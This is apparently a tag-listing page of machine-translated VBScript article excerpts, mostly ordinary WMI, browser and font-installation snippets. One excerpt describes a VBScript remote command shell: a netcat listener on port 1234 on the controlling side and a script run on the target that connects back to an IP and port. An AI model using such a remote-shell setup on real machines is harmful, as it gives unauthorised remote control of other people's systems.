Tag:vbscript
-
Two methods of opening ie in VBS implementation code of starting IE browser in VBScript
The first method is Internet Explorer Application ? 1 2 3 4 StartURL = “www.zzvips.com” set IE = CreateObject(“InternetExplorer.Application”) IE.Visible = true IE.Navigate StartURL The second method is Wscript Shell ? 1 2 3 4 dim Wsh Set Wsh=WScript.CreateObject(“WScript.Shell”) On error Resume Next objeShell.Run(“http://www.baidu.com”) The following code is the code that automatically opens Baidu and […]
-
VBScript can display different welcome words according to different time periods
In this example, the VBScript code calls the write method of the document object to pass a string. All operations are completed on the client side: there is no need to specify the server-side operation, no Perl trace, stable and clear! Copy codeThe code is as follows: <SCRIPT LANGUAGE=”VBScript”>‘execute this line when parsing script […]
-
Using VBScript to make QQ automatic login script code
I’ve always used the madman versionQQ, I have also used its complimentary automatic login device for a long time, but the latest version of madman QQ somehow cancelled the automatic login component. Fortunately, QQ2009 can remember the passwords of multiple numbers at the same time. Although it takes a few more clicks, it can still […]
-
Generatesddl function of vbscipt (permission setting)
Copy codeThe code is as follows: Function GenerateSDDL(AccountName, AccessFlag, AccessType, AccessMask) Dim Accounts, ObjWMI, ObjSID, ObjTru, ObjACE Const SET_DACL_PRESENT = &H8004 Set ObjWMI = GetObject(“winmgmts:” & “{impersonationLevel=impersonate, (Security)}!\\.\root\cimv2”) Set Accounts = ObjWMI.ExecQuery(“SELECT * FROM Win32_Account WHERE Name=’” & AccountName & “‘”) For Each Account In Accounts StrSID = Account.SID Next Set ObjSID = ObjWMI.Get(“Win32_SID.SID=’”& […]
-
VBScript finds the code of the device name according to the drive letter
Copy codeThe code is as follows: On Error Resume Next strComputer = “.” Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\CIMV2”) Set colItems = objWMIService.ExecQuery( _ “associators of {win32_logicaldisk.deviceid=’G:’} WHERE ResultClass=Win32_DiskPartition”) For Each objItem in colItems TargetIndex = objItem.DiskIndex Set Items = objWMIService.ExecQuery( _ “SELECT * FROM Win32_DiskDrive Where DeviceID Like ‘%” & objItem.DiskIndex […]
-
VBScript creates its own remote cmdshell with tutorial
Please download mswinsck OCX and vb6controls reg! usage method: 1. Control: NC Exe, execute: NC – L – V – P 1234; 2. Target: cscript exe enun. vbs IP Port; 3. Password: enun. Notes:1. To exit shell, please enter “exit” instead of “Ctrl + C”. In this case, you can only connect after the target […]
-
VBScript monitors and ends the code for the specified process
Operation effect diagram: Code (monprocess. VBS): Copy codeThe code is as follows: On Error Resume Next strComputer = “.” arrTargetProcs = Array(“calc.exe”, “notepad.exe”, “other.exe”)‘array is the name of the process to be monitored Set SINK = WScript.CreateObject(“WbemScripting.SWbemSink”,”SINK_”) Set objWMIService = GetObject(“winmgmts:” & _ “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”) objWMIService.ExecNotificationQueryAsync SINK, _ “SELECT * […]
-
Implementation of alignment in VBScript output
Operation effect: Code (foutput. VBS): Copy codeThe code is as follows: strComputer = “.” Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\CIMV2”) Set colItems = objWMIService.ExecQuery( _ “SELECT * FROM Win32_NetworkAdapterConfiguration”,,48) For Each objItem in colItems Wscript.Echo objItem.Caption & fOutput(objItem.Caption) & “textinfo” Next Function fOutput(strName) strLen = Len(strName) Select Case True […]
-
JScript and VBScript regular expressions page 1 / 2
Regular expressionIf you haven’t used regular expressions before, you may not be familiar with this term and concept. However, they are not as novel as you think. Recall how you looked for files on your hard drive. Are you sure you will use it? And * characters to help find the file you are looking […]
-
PHP extract() function in VBScript
As anyone who has written PHP knows, it has a very convenient extract (), which can easily convert the dictionary into variables. Of course, there are many restrictions in ASP, especially VBScript script. This paper describes a conversion idea, which can realize similar functions. Let me directly provide the extract code of asp version: […]
-
Bat batch, VBScript batch installation, font script sharing
According to the requirements of the new system, it is often necessary to deploy some fonts that are not in the original system. In order to save trouble, I used to ask users to manually install font files. Although the ease of use of windows is quite good, it is still necessary to take care […]